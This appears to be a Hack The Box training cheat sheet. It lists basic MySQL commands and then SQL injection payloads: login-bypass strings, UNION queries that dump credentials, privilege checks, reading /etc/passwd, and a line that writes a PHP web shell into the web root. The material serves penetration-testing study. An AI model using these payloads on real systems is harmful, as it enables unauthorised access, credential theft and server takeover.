

CHEAT SHEET

MySQL

General

Login to mysql database: mysql -u root -h docker.hackthebox.eu -P 3306 -p

List available databases: SHOW DATABASES

Switch to database: USE users

Tables

Add a new table: CREATE TABLE logins (id INT, ...)

List available tables in current database: SHOW TABLES

Show table properties and columns: DESCRIBE logins

Add values to table:

INSERT INTO table_name VALUES (value_1,..)

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Add values to specific columns in a table: INSERT INTO table_name(column2, ...) VALUES (column2_value, ...)

Update table values:
UPDATE table_name SET column1=newvalue1, ...
WHERE <condition>

General

Show all columns in a table: SELECT * FROM table_name

Show specific columns in a table: SELECT column1, column2 FROM table_name

Delete a table: DROP TABLE logins

Add new column:
ALTER TABLE logins ADD newColumn INT

Rename column:
ALTER TABLE logins RENAME COLUMN newColumn
TO oldColumn

Change column datatype: ALTER TABLE logins MODIFY oldColumn DATE

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Delete column: ALTER TABLE logins DROP oldColumn

Output

Sort by column:

SELECT * FROM logins ORDER BY column_1

Sort by column in descending order:

SELECT * FROM logins ORDER BY column_1 DESC

Sort by two-columns:

SELECT * FROM logins ORDER BY column_1 DESC,
id ASC

Only show first two results:

SELECT * FROM logins LIMIT 2

Only show first two results starting from index 2:

SELECT * FROM logins LIMIT 1, 2

List results that meet a condition:

SELECT * FROM table_name WHERE <condition>

List results where the name is similar to a given string:

SELECT * FROM logins WHERE username LIKE 'admin%'



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MySQL Operator Precedence

Division (/), Multiplication (*), and Modulus (%)
Addition (+) and Subtraction (-)
Comparison (=, >, <, <=, >=, !=, LIKE)
NOT (!)
AND (&&)
OR (||)

SQL Injection

Auth Bypass

Basic Auth Bypass: admin' or '1'='1

Basic Auth Bypass With comments: admin') -- -

Union Injection

Detect number of columns using order by:

' order by 1-- -

Detect number of columns using Union injection: cn' UNION select 1,2,3-- -

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Basic Union injection: cn' UNION select 1,@@version,3,4-- -

Union injection for 4 columns:
UNION select username, 2, 3, 4 from
passwords-- -

DB Enumeration

Fingerprint MySQL with query output: SELECT @@version

Fingerprint MySQL with no output: SELECT SLEEP (5)

Current database name: cn' UNION select 1, database(), 2, 3----

List all databases:
cn' UNION select 1, schema_name, 3, 4 from
INFORMATION_SCHEMA.SCHEMATA-- -

List all tables in a specific database:

cn' UNION select 1, TABLE_NAME, TABLE_SCHEMA, 4

from INFORMATION_SCHEMA. TABLES where

table_schema='dev'-- -

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List all columns in a specific table:
cn' UNION select 1, COLUMN_NAME, TABLE_NAME,
TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS
where table_name='credentials'----

Dump data from a table in another database: cn' UNION select 1, username, password, 4 from dev.credentials-- -

Privileges

Find current user: cn' UNION SELECT 1, user(), 3, 4-- -

Find if user has admin privileges:
cn' UNION SELECT 1, super_priv, 3, 4 FROM
mysql.user WHERE user="root"-- -

Find if all user privileges:
 cn' UNION SELECT 1, grantee, privilege_type,
 is_grantable FROM
 information_schema.user_privileges WHERE
 user="root"-- -

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Find which directories can be accessed through MySQL: cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -

File Injection

Read local file: cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

Write a string to a local file: select 'file written successfully!' into outfile '/var/www/html/proof.txt'

Write a web shell into the base web directory:
cn' union select "",'<?php
system(\$_REQUEST[0]); ?>', "", "" into
outfile '/var/www/html/shell.php'-- -

